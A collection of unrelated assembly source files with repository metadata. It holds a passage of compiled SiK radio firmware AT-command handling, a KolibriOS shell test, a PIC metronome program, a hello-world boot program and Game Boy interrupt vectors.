; radio/at.c:302: printf("%s\n", g_banner_string);
mov a,#_g_banner_string
push acc
mov a,#(_g_banner_string >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_0
push acc
mov a,#(__str_0 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfa
mov sp,a
; radio/at.c:303: return;
ret
; radio/at.c:304: case '1':
00103$:
; radio/at.c:305: printf("%s\n", g_version_string);
mov a,#_g_version_string
push acc
mov a,#(_g_version_string >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_0
push acc
mov a,#(__str_0 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfa
mov sp,a
; radio/at.c:306: return;
ret
; radio/at.c:307: case '2':
00104$:
; radio/at.c:308: printf("%u\n", BOARD_ID);
mov a,#0x42
push acc
clr a
push acc
mov a,#__str_3
push acc
mov a,#(__str_3 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfb
mov sp,a
; radio/at.c:309: break;
ret
; radio/at.c:310: case '3':
00105$:
; radio/at.c:311: printf("%u\n", g_board_frequency);
mov r0,#_g_board_frequency
movx a,@r0
mov r6,a
mov r7,#0x00
push ar6
push ar7
mov a,#__str_3
push acc
mov a,#(__str_3 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfb
mov sp,a
; radio/at.c:312: break;
ret
; radio/at.c:313: case '4':
00106$:
; radio/at.c:314: printf("%u\n", g_board_bl_version);
mov r0,#_g_board_bl_version
movx a,@r0
mov r6,a
mov r7,#0x00
push ar6
push ar7
mov a,#__str_3
push acc
mov a,#(__str_3 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfb
mov sp,a
; radio/at.c:315: return;
ret
; radio/at.c:316: case '5': {
00107$:
; radio/at.c:318: register uint8_t start = 0;
mov r7,#0x00
; radio/at.c:319: register uint8_t end = PARAM_MAX-1;
mov _at_i_end_3_158,#0x0F
; radio/at.c:320: if (at_cmd[4] == ':' && isdigit(at_cmd[5])) {
mov r0,#(_at_cmd + 0x0004)
movx a,@r0
mov r5,a
cjne r5,#0x3A,00138$
mov r0,#(_at_cmd + 0x0005)
movx a,@r0
mov dpl,a
push ar7
lcall _isdigit
mov a,dpl
pop ar7
jz 00138$
; radio/at.c:321: idx = 5;
mov r0,#_idx
mov a,#0x05
movx @r0,a
; radio/at.c:322: at_parse_number();
lcall _at_parse_number
; radio/at.c:323: start = at_num;
mov r0,#_at_num
movx a,@r0
mov r7,a
; radio/at.c:324: if (at_cmd[idx] == ':' && isdigit(at_cmd[idx+1])) {
mov r0,#_idx
movx a,@r0
add a,#_at_cmd
mov r1,a
movx a,@r1
mov r5,a
cjne r5,#0x3A,00138$
mov r0,#_idx
movx a,@r0
add a,#0x01
add a,#_at_cmd
mov r1,a
movx a,@r1
mov dpl,a
push ar7
lcall _isdigit
mov a,dpl
pop ar7
jz 00138$
; radio/at.c:325: idx++;
mov r0,#_idx
movx a,@r0
add a,#0x01
movx @r0,a
; radio/at.c:326: at_parse_number();
push ar7
lcall _at_parse_number
pop ar7
; radio/at.c:327: end = at_num;
mov r0,#_at_num
movx a,@r0
mov _at_i_end_3_158,a
; radio/at.c:331: for (id = start; id <= end; id++) {
00138$:
mov _at_i_id_3_158,r7
00120$:
clr c
mov a,_at_i_end_3_158
subb a,_at_i_id_3_158
jc 00114$
; radio/at.c:332: printf("S%u:%s=%lu\n",
mov dpl,_at_i_id_3_158
lcall _param_get
mov _at_i_sloc0_1_0,dpl
mov (_at_i_sloc0_1_0 + 1),dph
mov (_at_i_sloc0_1_0 + 2),b
mov (_at_i_sloc0_1_0 + 3),a
mov dpl,_at_i_id_3_158
lcall _param_name
mov r5,dpl
mov r6,dph
mov r7,b
mov r3,_at_i_id_3_158
mov r4,#0x00
push _at_i_sloc0_1_0
push (_at_i_sloc0_1_0 + 1)
push (_at_i_sloc0_1_0 + 2)
push (_at_i_sloc0_1_0 + 3)
push ar5
push ar6
push ar7
push ar3
push ar4
mov a,#__str_4
push acc
mov a,#(__str_4 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xf4
mov sp,a
; radio/at.c:331: for (id = start; id <= end; id++) {
inc _at_i_id_3_158
sjmp 00120$
00114$:
; radio/at.c:337: return;
; radio/at.c:339: case '6':
ret
00115$:
; radio/at.c:340: tdm_report_timing();
; radio/at.c:341: return;
; radio/at.c:342: case '7':
ljmp _tdm_report_timing
00116$:
; radio/at.c:343: tdm_show_rssi();
; radio/at.c:344: return;
; radio/at.c:345: default:
ljmp _tdm_show_rssi
00117$:
; radio/at.c:346: at_error();
; radio/at.c:347: return;
; radio/at.c:348: }
ljmp _at_error
;------------------------------------------------------------
;Allocation info for local variables in function 'at_s'
;------------------------------------------------------------
; radio/at.c:352: at_s(void)
; -----------------------------------------
; function at_s
; -----------------------------------------
_at_s:
; radio/at.c:357: idx = 3;
mov r0,#_idx
mov a,#0x03
movx @r0,a
; radio/at.c:358: at_parse_number();
lcall _at_parse_number
; radio/at.c:359: sreg = at_num;
mov r0,#_at_num
movx a,@r0
mov r7,a
; radio/at.c:361: if (sreg >= PARAM_MAX) {
cjne r7,#0x10,00127$
00127$:
jc 00102$
; radio/at.c:362: at_error();
; radio/at.c:363: return;
ljmp _at_error
00102$:
; radio/at.c:366: switch (at_cmd[idx]) {
mov r0,#_idx
movx a,@r0
add a,#_at_cmd
mov r1,a
movx a,@r1
mov r6,a
cjne r6,#0x3D,00129$
sjmp 00104$
00129$:
cjne r6,#0x3F,00109$
; radio/at.c:368: at_num = param_get(sreg);
mov dpl,r7
lcall _param_get
mov r3,dpl
mov r4,dph
mov r5,b
mov r6,a
mov r0,#_at_num
mov a,r3
movx @r0,a
inc r0
mov a,r4
movx @r0,a
inc r0
mov a,r5
movx @r0,a
inc r0
mov a,r6
movx @r0,a
; radio/at.c:369: printf("%lu\n", at_num);
push ar3
push ar4
push ar5
push ar6
mov a,#__str_5
push acc
mov a,#(__str_5 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xf9
mov sp,a
; radio/at.c:370: return;
; radio/at.c:372: case '=':
ret
00104$:
; radio/at.c:373: if (sreg > 0) {
mov a,r7
jz 00109$
; radio/at.c:374: idx++;
mov r0,#_idx
movx a,@r0
add a,#0x01
movx @r0,a
; radio/at.c:375: at_parse_number();
push ar7
lcall _at_parse_number
pop ar7
; radio/at.c:376: if (param_set(sreg, at_num)) {
mov r0,#_at_num
mov r1,#_param_set_PARM_2
movx a,@r0
movx @r1,a
inc r0
movx a,@r0
inc r1
movx @r1,a
inc r0
movx a,@r0
inc r1
movx @r1,a
inc r0
movx a,@r0
inc r1
movx @r1,a
mov dpl,r7
lcall _param_set
jnc 00109$
; radio/at.c:377: at_ok();
; radio/at.c:378: return;
; radio/at.c:382: }
ljmp _at_ok
00109$:
; radio/at.c:383: at_error();
ljmp _at_error
;------------------------------------------------------------
;Allocation info for local variables in function 'at_ampersand'
;------------------------------------------------------------
;x Allocated with name '_at_ampersand_x_3_171'
;------------------------------------------------------------
; radio/at.c:387: at_ampersand(void)
; -----------------------------------------
; function at_ampersand
; -----------------------------------------
_at_ampersand:
; radio/at.c:389: switch (at_cmd[3]) {
mov r0,#(_at_cmd + 0x0003)
movx a,@r0
mov r7,a
cjne r7,#0x46,00154$
sjmp 00101$
00154$:
cjne r7,#0x50,00155$
sjmp 00107$
00155$:
cjne r7,#0x54,00156$
sjmp 00108$
00156$:
cjne r7,#0x55,00157$
sjmp 00103$
00157$:
cjne r7,#0x57,00158$
sjmp 00102$
00158$:
ljmp 00118$
; radio/at.c:390: case 'F':
00101$:
; radio/at.c:391: param_default();
lcall _param_default
; radio/at.c:392: at_ok();
; radio/at.c:393: break;
ljmp _at_ok
; radio/at.c:394: case 'W':
00102$:
; radio/at.c:395: param_save();
lcall _param_save
; radio/at.c:396: at_ok();
; radio/at.c:397: break;
ljmp _at_ok
; radio/at.c:399: case 'U':
00103$:
; radio/at.c:400: if (!strcmp(at_cmd + 4, "PDATE")) {
mov dptr,#_strcmp_PARM_2
mov a,#__str_6
movx @dptr,a
mov a,#(__str_6 >> 8)
inc dptr
movx @dptr,a
mov a,#0x80
inc dptr
movx @dptr,a
mov dptr,#(_at_cmd + 0x0004)
mov b,#0x60
lcall _strcmp
mov a,dpl
mov b,dph
orl a,b
jnz 00106$
; radio/at.c:402: volatile char x = *(__code volatile char *)0xfc00;
mov dptr,#0xFC00
clr a
movc a,@a+dptr
mov r7,a
mov dptr,#_at_ampersand_x_3_171
movx @dptr,a
00121$:
sjmp 00121$
00106$:
; radio/at.c:406: at_error();
; radio/at.c:407: break;
ljmp _at_error
; radio/at.c:409: case 'P':
00107$:
; radio/at.c:410: tdm_change_phase();
; radio/at.c:411: break;
ljmp _tdm_change_phase
; radio/at.c:413: case 'T':
00108$:
; radio/at.c:415: if (!strcmp(at_cmd + 4, "")) {
mov dptr,#_strcmp_PARM_2
mov a,#__str_7
movx @dptr,a
mov a,#(__str_7 >> 8)
inc dptr
movx @dptr,a
mov a,#0x80
inc dptr
movx @dptr,a
mov dptr,#(_at_cmd + 0x0004)
mov b,#0x60
lcall _strcmp
mov a,dpl
mov b,dph
orl a,b
jnz 00116$
; radio/at.c:417: at_testmode = 0;
mov r0,#_at_testmode
clr a
movx @r0,a
ret
00116$:
; radio/at.c:418: } else if (!strcmp(at_cmd + 4, "=RSSI")) {
mov dptr,#_strcmp_PARM_2
mov a,#__str_8
movx @dptr,a
mov a,#(__str_8 >> 8)
inc dptr
movx @dptr,a
mov a,#0x80
inc dptr
movx @dptr,a
mov dptr,#(_at_cmd + 0x0004)
mov b,#0x60
lcall _strcmp
mov a,dpl
mov b,dph
orl a,b
jnz 00113$
; radio/at.c:420: at_testmode ^= AT_TEST_RSSI;
mov r0,#_at_testmode
movx a,@r0
xrl a,#0x01
movx @r0,a
ret
00113$:
; radio/at.c:421: } else if (!strcmp(at_cmd + 4, "=TDM")) {
mov dptr,#_strcmp_PARM_2
mov a,#__str_9
movx @dptr,a
mov a,#(__str_9 >> 8)
inc dptr
movx @dptr,a
mov a,#0x80
inc dptr
movx @dptr,a
mov dptr,#(_at_cmd + 0x0004)
mov b,#0x60
lcall _strcmp
mov a,dpl
mov b,dph
orl a,b
jnz 00110$
; radio/at.c:423: at_testmode ^= AT_TEST_TDM;
mov r0,#_at_testmode
movx a,@r0
xrl a,#0x02
movx @r0,a
ret
00110$:
; radio/at.c:425: at_error();
; radio/at.c:427: break;
; radio/at.c:429: default:
ljmp _at_error
00118$:
; radio/at.c:430: at_error();
; radio/at.c:432: }
ljmp _at_error
;------------------------------------------------------------
;Allocation info for local variables in function 'at_plus'
;------------------------------------------------------------
; radio/at.c:436: at_plus(void)
; -----------------------------------------
; function at_plus
; -----------------------------------------
_at_plus:
; radio/at.c:488: at_error();
ljmp _at_error
.area CSEG (CODE)
.area CONST (CODE)
__str_0:
.ascii "%s"
.db 0x0A
.db 0x00
__str_1:
.ascii "OK"
.db 0x00
__str_2:
.ascii "ERROR"
.db 0x00
__str_3:
.ascii "%u"
.db 0x0A
.db 0x00
__str_4:
.ascii "S%u:%s=%lu"
.db 0x0A
.db 0x00
__str_5:
.ascii "%lu"
.db 0x0A
.db 0x00
__str_6:
.ascii "PDATE"
.db 0x00
__str_7:
.db 0x00
__str_8:
.ascii "=RSSI"
.db 0x00
__str_9:
.ascii "=TDM"
.db 0x00
.area XINIT (CODE)
.area CABS (ABS,CODE)
| YifanJiangPolyU/SiK-master-Yifan-TDMA | Firmware-Yifan-TDMA/obj/rfd900/radio~rfd900/at.asm | Assembly | bsd-2-clause | 35,389 |
use32
org 0x0
db 'MENUET01' ; 8 byte id
dd 0x01 ; header version
dd START ; start of code
dd I_END ; size of image
dd 0x10000 ; memory for app
dd 0x10000 ; esp
dd param_area ; I_Param
dd app_path ; I_Path
include 'shell.inc'
START: ; start of execution
call _sc_init
push dword s
call _sc_gets
push dword s
call _sc_puts
call _sc_exit
mov eax, -1
int 0x40
I_END:
param_area rb 256
app_path rb 256
s rb 256
| devlato/kolibrios-llvm | programs/system/shell/test.asm | Assembly | mit | 533 |
;********************************************************************************
; DOES IT WORK? WORKS, BUT, ... SEE VERSION 15 FOR WORKING CODE
; FILENAME: METROKNOME
; VERSION: 17
; DATE: 01DEC2016
; FILE SAVED AS: 16F648A_MetroKnomeV17.asm
; MICROCONTROLLER: PIC16F648A
; CLOCK FREQUENCY: 32.768kHz using an off-board oscillator for battery life
;********************************************************************************
; FILES REQUIRED: p16f648a.inc
;********************************************************************************
; PROGRAM FUNCTION:
; It's a minimalist metronome, two lights, a buzzer, control knob, and on/off button
; adjustable alterating led illumination and piezo sound to accompany each flash
; rate adjustable from about 30-256 bpm in rock time. STARTS AT 60 BPM
;********************************************************************************
; NOTES: TRYING TO GET RID OF THE DELAY LOOP IN FAVOR OF TIMER2 PWM PIEZO
; WORKS THE FREQUENCY AND DUTY CYCLE OF TIMER2 NEEDS TO BE DETERMINED.
; RA0 SOURCE GREEN LED OUTPUT
; RA1 SOURCE RED LED OUTPUT
; RA2 SOURCE BJT RELAY CONTROLLING POWER TO THE OPAMP AND PIEZO OUTPUT
; RB0 BUTTON INPUT
; RB3 PIEZO BUZZER SOUND WAVE OUTPUT
; RB4 ROTARY ENCODER INPUT
; RB5 ROTARY ENCODER INPUT
;
;
;SOMEHOW THE ORDER OF SETUP INSTRUCTIONS INTCON FIRST THEN OPTION_REG MATTERS
;IT WORKS AS THIS IS WRITTEN
;I WANT TO KNOW WHY WHY WHY!!!!!!!!!!!!!!!
;
; ? RA4 can only sink power (no led sourcing?)
;
;********************************************************************************
; AUTHOR: KAM ROBERTSON
; COMPANY: ACORN ENERGY LLC
;********************************************************************************
;********************************************************************************
;********************************************************************************
; HOUSEKEEPING
list p = 16f648a ; list directive to define processor
include C:\Program Files (x86)\Microchip\MPASM Suite\p16f648a.inc
__CONFIG _CP_OFF & _CPD_OFF & _LVP_OFF & _BOREN_OFF & _MCLRE_ON & _PWRTE_ON & _WDT_OFF & _LP_OSC
; PIC15F648A internal 4mhz oscillator
; '__CONFIG' directive is used to embed configuration word within .asm file
;================================================================================
; DECLARATIONS cpu equates (memory map)
porta EQU 0x05 ; assigns the memory location of register PORTA to porta for use in code
; literals assigned with EQU cannot be changed elswhere in code
; creates an un-changable pointer and allows use of lower case porta
portb EQU 0x06 ; allows use of lower case PORTB
;
; DECLARATIONS bit equates
num0 EQU 0x20 ; "num0" is a pointer to register 32
num1 EQU 0x21 ; "num1" is a pointer to register 33
num2 EQU 0x22 ; "num2" is a pointer to register 34
work EQU 0x23 ; interrupt service temporarilly stores working register here
stat EQU 0x24 ; interrupt service temporarilly stores status register here
speed EQU 0x25 ; use for timer inc/dec that is used to run the led's and piezo buzzer
d1 equ 0x26 ; determines time spent in the delay loop
duty1 equ 0x27 ; used for pwm prescaler
duty2 equ 0x28 ; used for pwm prescaler
ledstate equ 0x29 ; led ledstate green-set or red-clear
mute equ 0x2A ; allows sound to be muted or not every other on/off cycle
roten equ 0x2B ; quadrature
tone1 equ 0x2C ; quadrature
past equ 0x2D ; quadrature
present equ 0x2E ; quadrature
time equ 0x2F ; used to set the beat tone sent to the piezo. increments every light cycle
beatstate equ 0x30 ; use logic shift and bit test to set the beat time beatstate: mute, 4/4, 2/4, 2/3, 3/4. 6/4
d2 equ 0x31 ; determine time spent in the delay loop
;================================================================================
; PROGRAM STARTS BELOW
ORG 0x000
GOTO start ; go to the start
ORG 0x004 ; interrupt service vector at memory location 0x004 it goes here automatically when intcon bit-1 is set
GOTO intserv ; go to the interrupt service function
start
CALL initializer ; CALL the function "initializer"
goto main
;
;
main
; goto fourfour
;
btfsc beatstate, 0
goto zerofour
;
btfsc beatstate, 1
goto mutefour
;
btfsc beatstate, 2
goto fourfour
;
btfsc beatstate, 3
goto twofour
;
btfsc beatstate, 4
goto threefour
;
btfsc beatstate, 5
goto twothree
;
btfsc beatstate, 6
goto sixfour
;
zerofour
BCF PORTA, 2
SLEEP
goto main
;
;
mutefour
redmute
BTFSS ledstate, 7
GOTO redmute
call redledmute
greenmute
BTFSC ledstate, 7
GOTO greenmute
call greenledmute
goto main
;
;
fourfour
fourred
BTFSS ledstate, 7
GOTO fourred
CALL redled
fourgreen
BTFSC ledstate, 7
GOTO fourgreen
CALL greenled
GOTO main
;
;
twofour
twored
BTFSS ledstate, 7
GOTO twored
call redled
twogreen
BTFSC ledstate, 7
GOTO twogreen
call greenledbeat
goto main
;
;
;
;
;
;
;
;
;
;
;
twothree
two3red
BTFSS ledstate, 7
GOTO two3red
call redledbeat
two3green
BTFSC ledstate, 7
GOTO two3green
call greenledbeat
goto main
;
;
threefour
threered
BTFSS ledstate, 7
GOTO threered
call redled
threegreen
BTFSC ledstate, 7
GOTO threegreen
call greenled
goto main
;
;
sixfour
sixred
BTFSS ledstate, 7
GOTO sixred
call redled
sixgreen
BTFSC ledstate, 7
GOTO sixgreen
call greenled
goto main
;
;
GOTO main ; loops back to main (it's a catcher)
;
;
;================================================================================
; SUBROUTINES AND FUNCTIONS
initializer ; first set numbers into the equate register declarations
MOVLW 0x05
MOVWF d1
;
MOVLW 0x07
MOVWF d2
;
MOVLW 0x02
MOVWF duty1
;
MOVLW 0x02
MOVWF duty2
;
; MOVLW 0x20 ; does not appear to work on PR2 in bank1
; MOVWF tone1 ; does not appear to work on PR2 in bank1
;
MOVLW 0xC0
MOVWF speed
;
MOVLW 0x00
MOVWF ledstate
MOVWF work
MOVWF stat
MOVWF roten
MOVWF mute
MOVWF past
MOVWF present
;
MOVLW 0x01
MOVWF beatstate
BCF STATUS, 0 ; CLEAR THE CARRY FLAG
;
; setting PORTA as an output. P.16,22 16F648A datasheet. WORKS!
; SET-UP THE INTERRUPT
CLRF PORTA ; set all of porta to ground before making it an output with the trisa register
MOVLW 0x07 ; Turn comparators off and
MOVWF CMCON ; enable pins for I/O functions
;
CLRF PORTB ; clear portb... safe it off
;
BCF STATUS, 7 ; 3 PART BANK CHANGE BANK_1
BCF STATUS, 6 ; set a one at bit-5 position in the status register... select bank1 PAGE24
BSF STATUS, 5 ; set a one at bit-5 position in the status register... select bank1 PAGE24
;
BSF STATUS, 4 ; SET UP THE SLEEP FUNCTION PAGE24
BCF STATUS, 3 ; SET UP THE SLEEP FUNCTION PAGE24
;
MOVLW 0x000 ; set bits/literal that will make RA pins an output into working registeroutputs
MOVWF TRISA ; change default input status of RA pins to output using TRISA register in bank1
;
MOVLW 0x31 ; move literal to working register. use to make portb an input for the interrupt
MOVWF TRISB ; make some of portb (RB0/INT) an input. hook it up to a button and debounce the button
;
BCF OPTION_REG, 7 ; enable weak pull ups in option register. (open button=5volts, depressed button is to ground) don't need this
BSF OPTION_REG, 6 ; interrupt triggers on the FALLING EDGE CLEAR THE BIT (option register PAGE 25)
BCF OPTION_REG, 5 ; TIMER-ZERO MODE (PAGE 25)
BSF OPTION_REG, 4 ; HMMMMM DUNNO
BCF OPTION_REG, 3 ; TIMER-ZERO PRESCALER ASSIGNED TO TIMER PAGE25
BSF OPTION_REG, 2 ; TIMER-ZERO PRESCALE DIVISOR PAGE25
BCF OPTION_REG, 1 ; TIMER-ZERO PRESCALE DIVISOR PAGE25
BSF OPTION_REG, 0 ; TIMER-ZERO PRESCALE DIVISOR PAGE25
;
; bcf PIE1, 1 ; DISABLE TIMER TWO INTERRUPT
; movf tone1, 0 ; SET THE TONE OF THE PWM TO THE PIEZO. this won't work tone1 is in bank0 PR2 is in bank1
; BSF STATUS, 5 ; set a one at bit-5 position in the status register... select bank1 PAGE24
movlw 0x03
movwf PR2 ; SET THE TONE OF THE PWM TO THE PIEZO
; BCF STATUS, 5 ; set a one at bit-5 position in the status register... select bank1 PAGE24
;
BCF STATUS, 7 ; set status to bank0
BCF STATUS, 6 ; set a one at bit-5 position in the status register... select bank1 PAGE24
BCF STATUS, 5 ; 3 PART BANK CHANGE RETURN TO BANK ZERO
;
BSF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
MOVF speed, 0
MOVWF TMR0 ; write a number to the timer zero register for scaling the led metronome blink timing
;
MOVF duty1, 0 ; SET THE DUTY CYCLE OF THE PWM TO THE PIEZO
MOVWF CCPR1L ; SET THE DUTY CYCLE OF THE PWM TO THE PIEZO msb of timer two
BCF CCP1CON, 5 ; lsb of timer two
BCF CCP1CON, 4 ; lsb of timer two
BSF CCP1CON, 3
BSF CCP1CON, 2
BSF CCP1CON, 1
BSF CCP1CON, 0
BSF T2CON, 2 ; set means timer two is on
BCF T2CON, 1 ; timer two prescaler
BCF T2CON, 0 ; timer two prescaler page55
bcf PIR1, 1 ; clear unused timer two flag
;
BSF INTCON, 7 ; enable global interrupt in the interrupt control register
BCF INTCON, 6 ; enable PERIPHERAL interrupt in the interrupt control register
BSF INTCON, 5 ; TOIE TIMER-ZERO INTERRUPT ENABLE PAGE26
BSF INTCON, 4 ; enable external interrupt in the interrupt control register
BSF INTCON, 3 ; enable RBx interrupt-on-change in the interrupt control register
BCF INTCON, 2 ; TOIF TIMER-ZERO INTERRUPT FLAG PAGE26
BCF INTCON, 1 ; clear interrupt holder bit in the interrupt control register interrupt pin RB0
BCF INTCON, 0 ; clear interrupt holder bit in the interrupt control register interrupt-on-change RBx pins
;
RETURN ; midline chips. back from whence you came.
;
;
;
;
redledmute
MOVF d1, 0 ; moves literal number into working register passing this literal to the function delay
BCF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BSF PORTA, 1 ; SOURCE RED LED at pin RA1, use bit-number for bit-position(3,2,1,0)
CALL delay ; CALL the function "delay"
BCF PORTA, 1 ; SINK RED LED at pin RA1, use bit-number for bit-position(3,2,1,0)
return
greenledmute
MOVF d1, 0 ; moves literal number into working register passing this literal to the function delay
BCF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BSF PORTA, 0 ; SOURCE GREEN LED at pin RA0, use bit-number for bit-position(3,2,1,0)
CALL delay ; CALL the function "delay"
BCF PORTA, 0 ; SINK GREEN LED at pin RA0 (3,2,1,0 bit position)
return
;
;
redled
MOVF d1, 0 ; moves literal number into working register passing this literal to the function delay
BSF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BSF PORTA, 1 ; SOURCE RED LED at pin RA1, use bit-number for bit-position(3,2,1,0)
CALL delay ; CALL the function "delay"
BCF PORTA, 1 ; SINK RED LED at pin RA1, use bit-number for bit-position(3,2,1,0)
BCF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
return
greenled
MOVF d1, 0 ; moves literal number into working register passing this literal to the function delay
BSF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BSF PORTA, 0 ; SOURCE GREEN LED at pin RA0, use bit-number for bit-position(3,2,1,0)
CALL delay ; CALL the function "delay"
BCF PORTA, 0 ; SINK GREEN LED at pin RA0 (3,2,1,0 bit position)
BCF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
return
;
;
redledbeat
MOVF d1, 0 ; moves literal number into working register passing this literal to the function delay
BSF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BSF PORTA, 1 ; SOURCE RED LED at pin RA1, use bit-number for bit-position(3,2,1,0)
CALL delay ; CALL the function "delay"
BCF PORTA, 1 ; SINK RED LED at pin RA1, use bit-number for bit-position(3,2,1,0)
BCF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
return
greenledbeat
BCF STATUS, 5 ; set a one at bit-5 position in the status register... select bank1 PAGE24
MOVF d1, 0 ; moves literal number into working register passing this literal to the function delay
BSF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BSF PORTA, 0 ; SOURCE GREEN LED at pin RA0, use bit-number for bit-position(3,2,1,0)
CALL delay ; CALL the function "delay"
BCF PORTA, 0 ; SINK GREEN LED at pin RA0 (3,2,1,0 bit position)
BCF PORTA, 2 ; SOURCE op-amp-relay at pin RA2, turn on power to speaker amplifier
BCF CCP1CON, 5 ; lsb of timer two
BCF CCP1CON, 4 ; lsb of timer two
return
;
;
delay ; 8-bit system so... setting counters to zero gives 256 bits/decrements
; uses literal number in working register to determine how many passes through the d_loop
MOVWF num2 ; pass value from working register into delay counter at R34
MOVWF num1 ; pass value from working register into delay counter at R33
; MOVWF num0 ; pass value from working register into delay counter at R32
d_loop
DECFSZ num2, f ; decrements delay counter by one then skips next step if count1_register-nine ontains zero
GOTO d_loop ; returns to d_loop if R9 contains any ones
MOVWF num2 ; prepares for next use by setting R9 back to zero
;
DECFSZ num1, f ; decrements delay counter by one then skips next step if count2_register-eight contains a zero
GOTO d_loop ; returns to d_loop if R8 contains any ones
MOVWF num1 ; prepares for next use by setting R8 back to zero
;
; DECFSZ num0, f ; decrements delay counter by one then skips next step if count0_register-seven contains a zero
; GOTO d_loop ; returns to d_loop if R7 contains any ones
RETURN ; the larger command set on midline chips supports the "return" command. It is more appropriate here
;
;
intserv ; hey service this interrupt. save those registers, do stuff, bring those registers back. YAY!!!
MOVWF work ; save current working register in memory
SWAPF STATUS, 0 ; d=destination working register. get current status without changing flags
MOVWF stat ; store current status register in memory
;
BTFSC INTCON, 0 ; TEST TO SEE IF INTERRUPT CAME FROM THE BUTTON AT RB0/INT
goto rotencoder
;
BTFSC INTCON, 1 ; TEST TO SEE IF INTERRUPT CAME FROM THE BUTTON AT RB0/INT
goto button
;
BTFSC INTCON, 2 ; CHECK THE TIMER ZERO FLAG
GOTO led
;
GOTO intexit ; who knows where the interrupt came from. let's get outa dodge.
;
;
; ROTARY ENCODER is designed/built/set NORMALLY HIGH with momentary-debounced-out-of-phase LOW SWITCHING.
rotencoder
MOVF PORTB, 0
MOVWF roten
MOVLW 0x030 ; mask that allows only the portb pins four and five to show
ANDWF roten, 1 ; mask that allows only the portb pins four and five to show
RLF past, 1
MOVF roten, 0
XORWF past, 1
BTFSS past, 5
GOTO decrement
GOTO increment
increment
MOVWF past
MOVLW 0x01
ADDWF speed, 1
BCF INTCON, 0 ; clear interrupt holder bit in the interrupt control register INTERRUPT-ON-CHANGE
GOTO intexit
decrement
MOVWF past
MOVLW 0x01
SUBWF speed, 1
BCF INTCON, 0 ; clear interrupt holder bit in the interrupt control register INTERRUPT-ON-CHANGE
GOTO intexit
;
;
button ; puts ucon to sleep and controls mute function
RLF beatstate
BTFSC beatstate, 3
goto buttondeax
BCF INTCON, 1 ; clear interrupt holder bit in the interrupt control register
GOTO intexit
buttondeax
movlw 0x01
movwf beatstate
bcf INTCON, 1
goto intexit
;
;
led ; timer zero overflow interrupt changes the led ledstate.... makes them flash then alternate with timer
INCF time, 1 ; increment 'time' register every light cycle and use to set the beat tone sent ot the piezo buzzer
COMF ledstate, 1
MOVF speed, 0
MOVWF TMR0 ; write a number to the timer zero register for scaling
BCF INTCON, 2 ; TOIF TIMER-ZERO INTERRUPT FLAG PAGE26
GOTO intexit
;
;
intexit
SWAPF stat, 0 ; d=destination working register
MOVWF STATUS ; puts working register into status register... back to what it was
SWAPF work, 1 ; d=destination file register... twist, no holder change.
SWAPF work, 0 ; d=destination working register... untwist and back to what it was. no holder change
RETFIE ; back from whence you came and as you were.
;
;
;================================================================================
END
;================================================================================
| Brian1273/ECE_411 | Project_Metronome/Code/16F648A_MetroKnomeV17.asm | Assembly | mit | 17,422 |
;; hello.asm - a basic hello world program...
%define textcolor 0x09
%macro print 1 ; parameter is the start of the string to print
pusha
mov bp, sp
mov si, %1
%%loop:
mov al, [si]
inc si
or al, al ; see if were done
jz %%exit
mov ah, 0x0E
mov bh, 0x0
mov bl, textcolor
int 0x10
jmp %%loop
%%exit:
mov sp, bp
popa
%endmacro
main:
mov ax,cs
mov ds,ax
mov es,ax
print hello
jmp 0x1000:0000
hello db 'Hello World!', 0
| chsrobotc/hipOS | programs/hello.asm | Assembly | mit | 460 |
INCLUDE "hardware.inc"
INCLUDE "header.inc"
;--------------------------------------------------------------------------
;- RESTART VECTORS -
;--------------------------------------------------------------------------
SECTION "RST_00",HOME[$0000]
ret ; Reserved for interrupt handler. If any interrupt vector is $0000 it jumps here and returns.
SECTION "RST_08",HOME[$0008]
jp hl ; Reserved for interrupt handler. (Or any other function that uses "call hl")
SECTION "RST_10",HOME[$0010]
ret
SECTION "RST_18",HOME[$0018]
ret
SECTION "RST_20",HOME[$0020]
ret
SECTION "RST_28",HOME[$0028]
ret
SECTION "RST_30",HOME[$0030]
ret
SECTION "RST_38",HOME[$0038]
ret
;--------------------------------------------------------------------------
;- INTERRUPT VECTORS -
;--------------------------------------------------------------------------
SECTION "Interrupt Vectors",HOME[$0040]
; SECTION "VBL Interrupt Vector",HOME[$0040]
push hl
ld hl,_is_vbl_flag
ld [hl],1
jr irq_VBlank
; SECTION "LCD Interrupt Vector",HOME[$0048]
reti
nop
nop
nop
nop
nop
nop
nop
; SECTION "TIM Interrupt Vector",HOME[$0050]
reti
nop
nop
nop
nop
nop
nop
nop
; SECTION "SIO Interrupt Vector",HOME[$0058]
jp $D000
nop
nop
nop
nop
nop
; SECTION "JOY Interrupt Vector",HOME[$0060]
push hl
ld hl,JOY_handler
jr irq_Common
; nop
; nop
;--------------------------------------------------------------------------
;- IRQS HANDLER -
;--------------------------------------------------------------------------
irq_VBlank:
ld hl,VBL_handler
irq_Common:
push af
ld a,[hl+]
ld h,[hl]
ld l,a
; If vector is $0000, it will jump there and return. Not needed to check here.
push bc
push de
rst $08 ; call irq handler
pop de
pop bc
pop af
pop hl
reti
